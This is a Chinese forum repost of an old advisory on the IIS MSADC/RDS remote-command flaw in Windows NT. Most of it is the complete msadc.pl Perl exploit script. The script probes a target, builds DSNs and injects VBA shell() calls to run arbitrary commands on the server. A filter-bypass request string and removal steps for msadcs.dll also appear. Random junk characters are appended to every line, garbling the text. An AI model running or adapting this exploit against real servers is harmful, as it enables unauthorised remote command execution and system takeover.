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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /=lrdp!a  
P`Anf_  
涉及程序:  -"\z|OQ  
Microsoft NT server Uj0DX >I  
9FX'Uws  
描述: @wYuc{%S  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P[8`]=  
[US.n +G6  
详细: fwf]1@#   
如果你没有时间读详细内容的话,就删除: FX+Ra@I!  
c:\Program Files\Common Files\System\Msadc\msadcs.dll HMS9_#[kE  
有关的安全问题就没有了。 fE|([ ` !  
M!,$i  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Y=x]'3}^  
)e4nKh],  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1 ;4TA}'H  
关于利用ODBC远程漏洞的描述,请参看: Q^DKKp  
c3`X19'%fM  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ka[]pY  
zRD{"uqi  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  z4&|~-m,  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1 BAnf9  
y2TJDb1  
这里不再论述。 PC7U&*x@  
9%$4Ux*q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "So+  
gK9@-e  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset jQj`GnN|  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Fj7cI +  
(m-(5 CaJ  
D5]T.8kX(7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" My5h;N@C  
BQ)zm  
#!perl [wjA8d.  
# L@ql)Lc);  
# MSADC/RDS 'usage' (aka exploit) script s0E:hn:  
# &xj?MgdNL  
# by rain.forest.puppy R% l=NHB}  
# = = cAL"Z  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 8qrE<RHU@  
# beta test and find errors! i?A4uyYwS  
]}w ~fjq  
use Socket; use Getopt::Std; {Tm31f(oD  
getopts("e:vd:h:XR", \%args); ](aXZ<,  
Z '/:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ]Yp;8#:1  
`CUTb*{`  
if (!defined $args{h} && !defined $args{R}) { -nV]%vJ$R}  
print qq~ :&/'rMi<T  
Usage: msadc.pl -h <host> { -d <delay> -X -v } #:v|/2   
-h <host> = host you want to scan (ip or domain) w=rh@S]  
-d <seconds> = delay between calls, default 1 second {}s7q|$  
-X = dump Index Server path table, if available >IJH#>i  
-v = verbose {qp XzxV  
-e = external dictionary file for step 5 8)\ ?6C  
2pQ zT  
Or a -R will resume a command session 38 tRb"3zP  
dK#:io[Nz  
~; exit;} lN<vu#  
TXv3@/>ZlG  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~N;kF.q&>&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} y['$^T?oP  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {uM*.]  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'Wn'BRXq3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \@N8[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^Cst4=:W  
!.?2zp~  
if (!defined $args{R}){ $ret = &has_msadc; 3T'9_v[Y  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} & VJ+X|Z  
[W ,Ej  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" XPBKQm_}  
. "cmd /c "; ?R(fxx  
$in=<STDIN>; chomp $in; yS0!#AG  
$command="cmd /c " . $in ; ^|5vmI'E  
h rW  
if (defined $args{R}) {&load; exit;} D8m1:kU  
~5N0=)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X/}kNW!q  
&try_btcustmr; r,cV(  
2TXrVaM  
print "\nStep 2: Trying to make our own DSN..."; u<!8dQ8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 4[44Eku\  
_s[ohMlh  
print "\nStep 3: Trying known DSNs..."; _U?   
&known_dsn; |e!%6Qq3  
`WboM\u  
print "\nStep 4: Trying known .mdbs..."; Rp^k D ,*  
&known_mdb; Q_$aiE  
]o$aGrZ  
if (defined $args{e}){ % r`hW \4{  
print "\nStep 5: Trying dictionary of DSN names...";  TTZb.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } V`fp%7W  
}xk85*V  
print "Sorry Charley...maybe next time?\n"; |C301ENZ  
exit; =2F;'T\6  
zVKbM3(^  
############################################################################## *P7 H=Yf&  
h64<F3}  
sub sendraw { # ripped and modded from whisker -y|>#`T/  
sleep($delay); # it's a DoS on the server! At least on mine... )"/.2S;  
my ($pstr)=@_; [_Fj2nb*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <U%4$83$  
die("Socket problems\n"); U>H"N1  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]0p] u d&  
select(S); $|=1; 7hQXGY,q  
print $pstr; my @in=<S>; 2F%2K?$`Ej  
select(STDOUT); close(S); sG7G$G*ta!  
return @in; ]$oo1ssZ1  
} else { die("Can't connect...\n"); }} }`ox;Q  
Z@2^> eC  
############################################################################## Xia4I* *  
R.@I}>  
sub make_header { # make the HTTP request Lp.dF)C\  
my $msadc=<<EOT  Gf_Je   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?41bZ$j  
User-Agent: ACTIVEDATA #Z#rOh  
Host: $ip C jISU$O  
Content-Length: $clen X [IVK~D}z  
Connection: Keep-Alive .)59*'0  
,P ~jO  
ADCClientVersion:01.06 'i+j;.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 \NU^Jc_k7  
:%7y6V*  
--!ADM!ROX!YOUR!WORLD! T&+*dyNxMK  
Content-Type: application/x-varg PvF3a `&r  
Content-Length: $reqlen !k@ (}CN_*  
GVR/p  
EOT QiC}hj$  
; $msadc=~s/\n/\r\n/g; ]s_,;PGU  
return $msadc;} eocq Hwbv  
;}1O\nngR  
############################################################################## 6i'GM`>w  
o1lhVM`15  
sub make_req { # make the RDS request Y\75cfD  
my ($switch, $p1, $p2)=@_; TS4Yzq,f  
my $req=""; my $t1, $t2, $query, $dsn; lt08 E2p9  
0"}qND  
if ($switch==1){ # this is the btcustmr.mdb query dyWj+N5(  
$query="Select * from Customers where City=" . make_shell(); `& ufdn\j  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . uaghB,i'n  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #djby}hi  
m&vuBb3  
elsif ($switch==2){ # this is general make table query '^B[Krs'Z`  
$query="create table AZZ (B int, C varchar(10))"; Cq8.^=}_  
$dsn="$p1";} 8! eYax   
~H`m"4zQ  
elsif ($switch==3){ # this is general exploit table query i&mcM_g32  
$query="select * from AZZ where C=" . make_shell(); =d`w~iC  
$dsn="$p1";} MTXh-9DA  
,/2&HZd  
elsif ($switch==4){ # attempt to hork file info from index server 9`y@2/!Y  
$query="select path from scope()"; Qe4O N3X!  
$dsn="Provider=MSIDXS;";} Rax]svc  
3qf?n5 "8  
elsif ($switch==5){ # bad query 41uiW,  
$query="select"; #mKF)W  
$dsn="$p1";} sbv2*fno5  
OFe-e(c1  
$t1= make_unicode($query); p{|!LcSU$2  
$t2= make_unicode($dsn); W_.WMbT  
$req = "\x02\x00\x03\x00"; %9vl  
$req.= "\x08\x00" . pack ("S1", length($t1)); DwmK?5p  
$req.= "\x00\x00" . $t1 ; >PuQ{T I  
$req.= "\x08\x00" . pack ("S1", length($t2)); hZ_@U?^  
$req.= "\x00\x00" . $t2 ; VO JA}$  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  )OHGg  
return $req;} #{_iNra9  
:'`y}'  
############################################################################## iq^F?$gFk  
gcF:/@:Rm  
sub make_shell { # this makes the shell() statement Upw`|$1S  
return "'|shell(\"$command\")|'";} 9]C%2!Ur,  
B/O0 ~y!n  
############################################################################## "w&IO}j;=  
e dTFk$0  
sub make_unicode { # quick little function to convert to unicode a\-AGG{2/X  
my ($in)=@_; my $out; 7f] qCZ<0V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +[vI ocu  
return $out;} Znw3P|>B  
8+i=u" <  
############################################################################## fHK.q({Qc  
U7#C.Z  
sub rdo_success { # checks for RDO return success (this is kludge) Gr-~&pm  
my (@in) = @_; my $base=content_start(@in); j+9;Rvt2  
if($in[$base]=~/multipart\/mixed/){ S-'R84M,F  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &NKb},~  
return 0;} =U7P\s w2  
%u}#|+8}  
############################################################################## -*A1[Z ?  
-w"$[XP  
sub make_dsn { # this makes a DSN for us 4mjlat(d  
my @drives=("c","d","e","f"); ]sTbEw.[  
print "\nMaking DSN: "; s<>d& W 0=  
foreach $drive (@drives) { sZx`u+  
print "$drive: "; }7*|s+F(f  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . >{S ~(KxK  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" iD*21c<kd  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); j"hNkCF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; dBw7l}  
return 0 if $2 eq "404"; # not found/doesn't exist 5Q;Q  
if($2 eq "200") { OUq%d8 W  
foreach $line (@results) { A(_HM qA]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} nz|6CP  
} return 0;} {p.^E5&  
&@K6;T  
############################################################################## 9>ajhFyOhX  
ayI<-s-  
sub verify_exists { %oB0@&!mS  
my ($page)=@_; _h+7 KK  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [QFAkEJ--o  
return $results[0];} WeJ=]7T'L  
IwXWtVL  
############################################################################## ,wf:Fr  
5S<Rz)1r  
sub try_btcustmr { #_eXybUV  
my @drives=("c","d","e","f"); L{&>,ww  
my @dirs=("winnt","winnt35","winnt351","win","windows"); AJ+\Qs(0  
wBDHhXi0  
foreach $dir (@dirs) { jG~-V<&  
print "$dir -> "; # fun status so you can see progress :i4AkBNK  
foreach $drive (@drives) { 0K'{w]Q  
print "$drive: "; # ditto k%3)J"|/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; IL go:xQ  
$reqlenlen=length( "$reqlen" ); #{*5rKiL  
$clen= 206 + $reqlenlen + $reqlen; 5,-g^o7  
)DmydyQ'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }uNj#Uf  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} mqHcD8X  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !Q WNHL  
7t+d+sQ-l  
############################################################################## mPU}]1*p  
Zs(BViTb|  
sub odbc_error { IsmZEVuC  
my (@in)=@_; my $base; hraR:l D  
my $base = content_start(@in); ht*N[Pi4;  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _&~l,%)&  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,hH c -%-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;*'I&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {yv_Ni*6!  
return $in[$base+4].$in[$base+5].$in[$base+6];} A_l\ij$Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ny{S&f  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . )RN3Oz@H  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0cSm^a  
O|S,="h"}  
############################################################################## L(bDk'zi  
v4Wq0>o  
sub verbose { _CPj] m{  
my ($in)=@_; cRH(@b Xr  
return if !$verbose; wo+`WnDh  
print STDOUT "\n$in\n";} sj4\lpZ3h  
L pq)TE#  
############################################################################## X{Fr  
o{>4PZ}=g  
sub save { aGBd~y@e  
my ($p1, $p2, $p3, $p4)=@_; 1d~d1Rd  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xT+#K5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &c 2Qa  
close OUT;}  LtH j  
r95 ,X!  
############################################################################## e`co:HO`#  
e/cHH3 4  
sub load { rrR"2WuGO  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; <o9AjASv\,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )u+O~Y95&i  
@p=<IN>; close(IN); k,$/l1D  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |fywqQFq  
$target= inet_aton($ip) || die("inet_aton problems"); 1$1>cuu  
print "Resuming to $ip ..."; `-%dHvB^R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;  Cu5_OJ  
if($p[1]==1) { cpl Ny?UIC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Ux1j+}y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T9}~]zW7P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); qSlo)aP  
if (rdo_success(@results)){print "Success!\n";} YzQ(\._s  
else { print "failed\n"; verbose(odbc_error(@results));}} K>vl o/#!  
elsif ($p[1]==3){ L*dGo,oN  
if(run_query("$p[3]")){ a_bZT4  
print "Success!\n";} else { print "failed\n"; }} 7TEpjSuF  
elsif ($p[1]==4){ @`)>- k  
if(run_query($drvst . "$p[3]")){ gm pY[  
print "Success!\n"; } else { print "failed\n"; }} `*[\b9>  
exit;} jI'?7@32`  
vmEn$`&2t  
############################################################################## ? A;RTM  
o2B|r`R  
sub create_table { qE3Ud:j  
my ($in)=@_; rHjDf[5+  
$reqlen=length( make_req(2,$in,"") ) - 28; C[<{>fl)  
$reqlenlen=length( "$reqlen" ); 'zav%}b]L  
$clen= 206 + $reqlenlen + $reqlen; p+<qI~  
my @results=sendraw(make_header() . make_req(2,$in,"")); p2Gd6v.t  
return 1 if rdo_success(@results); V dvj*I  
my $temp= odbc_error(@results); verbose($temp);  ]Tb?z&  
return 1 if $temp=~/Table 'AZZ' already exists/; k~so+k&=b  
return 0;} ,tQN L\t  
:-#7j} R&  
############################################################################## _f8H%Kgk;  
MM]0}65KG  
sub known_dsn { M"W#_wY;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 50dN~(;p  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )b (+=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", \BH?GMoP  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xp| 4WM  
ob8}v*s  
foreach $dSn (@dsns) { b:'8_jL  
print "."; (1q(6!  
next if (!is_access("DSN=$dSn")); lAA&#-#YG  
if(create_table("DSN=$dSn")){ Ip`1Wv_  
print "$dSn successful\n"; yUf`L=C:  
if(run_query("DSN=$dSn")){ b$0;fEvIJn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?]bx]Y;  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ZbVn"he  
% >a /m.$  
############################################################################## y`8U0TE3R  
:R=7dH~r  
sub is_access { ]hy@5Jyh  
my ($in)=@_; :CezkD&  
$reqlen=length( make_req(5,$in,"") ) - 28; Z2@e~&L  
$reqlenlen=length( "$reqlen" ); 6w? GeJ  
$clen= 206 + $reqlenlen + $reqlen; 'hPW#*#W<  
my @results=sendraw(make_header() . make_req(5,$in,"")); g]JRAM  
my $temp= odbc_error(@results); GFE3p  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); GOGS"q  
return 0;} Tc!n@!RA|  
x^c,cV+*  
############################################################################## c%O97J.5b  
}"nm3\Df  
sub run_query { !SE  
my ($in)=@_; A$7K5   
$reqlen=length( make_req(3,$in,"") ) - 28; J"< h#@`  
$reqlenlen=length( "$reqlen" ); FeS ,TQ4j  
$clen= 206 + $reqlenlen + $reqlen; Nt]nwae>A  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^t71${w##  
return 1 if rdo_success(@results); ctHQZ#.[(  
my $temp= odbc_error(@results); verbose($temp); !]}C!dXd  
return 0;} f3n^Sw&Q(Q  
t5_76'@cX  
############################################################################## 1u5^a^O(|  
]K8G}|Wy6  
sub known_mdb { IY6Qd4157  
my @drives=("c","d","e","f","g"); (w2lVL&   
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^tSwAanP\  
my $dir, $drive, $mdb; h?;03>6A&]  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q)o;iR  
x4>"m(&%  
# this is sparse, because I don't know of many (e~9T MY  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |OAiHSW"V  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", BMQ4i&kF|  
"\\system32\\certmdb.mdb", ~|, "w90  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Drf Au  
A'uaR?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ">_|!B&wb^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", l&e{GHz  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O(-6Zqk8Q  
"\\cfusion\\cfapps\\security\\realm_.mdb", ^8bc<c:P  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >'=9sCi  
"\\cfusion\\database\\cfexamples.mdb", %Qb}z@>fJk  
"\\cfusion\\database\\cfsnippets.mdb", D3,)H%5.y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G9xO>Xp^Al  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ZwY mR=  
"\\cfusion\\brighttiger\\database\\cleam.mdb", js;YSg{m  
"\\cfusion\\database\\smpolicy.mdb", ,4XOe,WQ  
"\\cfusion\\database\cypress.mdb", ,Xn %0]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", p ^TCr<=  
"\\website\\cgi-win\\dbsample.mdb", ^~TE$i<   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ar 7.O;e  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ZybfqBTD&c  
); #these are just Wl=yxJu_(  
foreach $drive (@drives) { TG8U=9qt  
foreach $dir (@dirs){ m5] a  
foreach $mdb (@sysmdbs) { *kZH~]  
print "."; ge%QbU1J  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  q^6#.}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; pbqk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T*Ge67  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4JXvP1`  
} else { print "Something's borked. Use verbose next time\n"; }}}}} -G?IXgG  
P0_Ymn=&  
foreach $drive (@drives) { 7BqP3T=&_  
foreach $mdb (@mdbs) { }#M>CNi'PU  
print "."; #H |p)2k  
if(create_table($drv . $drive . $dir . $mdb)){ z19%!k  
print "\n" . $drive . $dir . $mdb . " successful\n"; C|g1:#0  
if(run_query($drv . $drive . $dir . $mdb)){ ]oz>/\!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0|K<$e6IH  
} else { print "Something's borked. Use verbose next time\n"; }}}} fuCt9Kjo<  
} E@)'Z6r1  
vaHtWz!P  
############################################################################## ;gu4~LQw  
|9.J?YP8 (  
sub hork_idx { _I3"35a  
print "\nAttempting to dump Index Server tables...\n";  Y%y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; B<Cg_C  
$reqlen=length( make_req(4,"","") ) - 28; 2'OY,Ooe  
$reqlenlen=length( "$reqlen" ); @qW$un:  
$clen= 206 + $reqlenlen + $reqlen; 7I]?:%8 h  
my @results=sendraw2(make_header() . make_req(4,"","")); x./"SQ=R+  
if (rdo_success(@results)){ l O*  
my $max=@results; my $c; my %d; %[~g84@  
for($c=19; $c<$max; $c++){ -vc$I=b;  
$results[$c]=~s/\x00//g; = \oW {?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9C Ki$L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ~@QAa (P.  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; m :~y:.  
$d{"$1$2"}="";} .X)Wb{7  
foreach $c (keys %d){ print "$c\n"; } Ay^P #\VZ  
} else {print "Index server doesn't seem to be installed.\n"; }} MT)q?NcG  
,Csjb1  
############################################################################## P*%P"g  
<tsexsw  
sub dsn_dict { i| ,}y`C#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); vF~q".imC  
while(<IN>){ Tj!\SbnA[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /[/{m]  
next if (!is_access("DSN=$dSn")); <"3${'$k`  
if(create_table("DSN=$dSn")){ kD1Nq~h2  
print "$dSn successful\n"; lt]&o0>  
if(run_query("DSN=$dSn")){ r}Gku0Hu_E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5&_")k3$*  
print "Something's borked. Use verbose next time\n";}}} #cW :04  
print "\n"; close(IN);} xX{Zh;M&[  
]mNsG0r6  
############################################################################## Oi$1maxT  
m!^$_d\%~  
sub sendraw2 { # ripped and modded from whisker =(P$P  
sleep($delay); # it's a DoS on the server! At least on mine... v_v>gPl,  
my ($pstr)=@_; =b1 y*?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X&rsWk  
die("Socket problems\n"); <4@8T7  
if(connect(S,pack "SnA4x8",2,80,$target)){ m#O; 1/P  
print "Connected. Getting data"; (]&B' 1b  
open(OUT,">raw.out"); my @in; "cjD-4 2  
select(S); $|=1; print $pstr; Zy?!;`c*{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} GNB'.tJ:0Y  
close(OUT); select(STDOUT); close(S); return @in; M0)0~#?.D  
} else { die("Can't connect...\n"); }} c(b`eUOO  
r~oUln<[  
############################################################################## -ULgVGYKK  
![vy{U.:`  
sub content_start { # this will take in the server headers g3Hi5[-H  
my (@in)=@_; my $c; X_bB6A6  
for ($c=1;$c<500;$c++) { 8WpNlB+:{  
if($in[$c] =~/^\x0d\x0a/){ {x..> 4  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } q&NXF (  
else { return $c+1; }}} OUO'w6m!  
return -1;} # it should never get here actually + !nf?5;  
N:#$S$  
############################################################################## QGGBI Ku   
Vu4LC&q  
sub funky { ePaC8sd0  
my (@in)=@_; my $error=odbc_error(@in); iYw1{U  
if($error=~/ADO could not find the specified provider/){ O*]}0*CT  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0(Z:QqpU$  
exit;} e.XD5~Ax  
if($error=~/A Handler is required/){ H.]<f vP  
print "\nServer has custom handler filters (they most likely are patched)\n"; \LQZoD?W  
exit;} +u5xK  
if($error=~/specified Handler has denied Access/){ 4k<U5J  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0@E I@X;q  
exit;}} _F4=+dT|  
2S[:mnK  
############################################################################## @7Ln1v  
>Lo'H}[pF  
sub has_msadc { M)wNu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9asA-'fZ  
my $base=content_start(@results); (sH4 T>  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 9U3}_  
return 0;} E(1G!uu<  
CQ Ei(ty  
######################## a~JZc<ze  
v/$<#2|  
U%#Vz-r  
解决方案: 4&e<Sc64  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll \)aFYDq#\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 gF2 93Ez  
b{x/V9&|  
拿出来充数 哈哈
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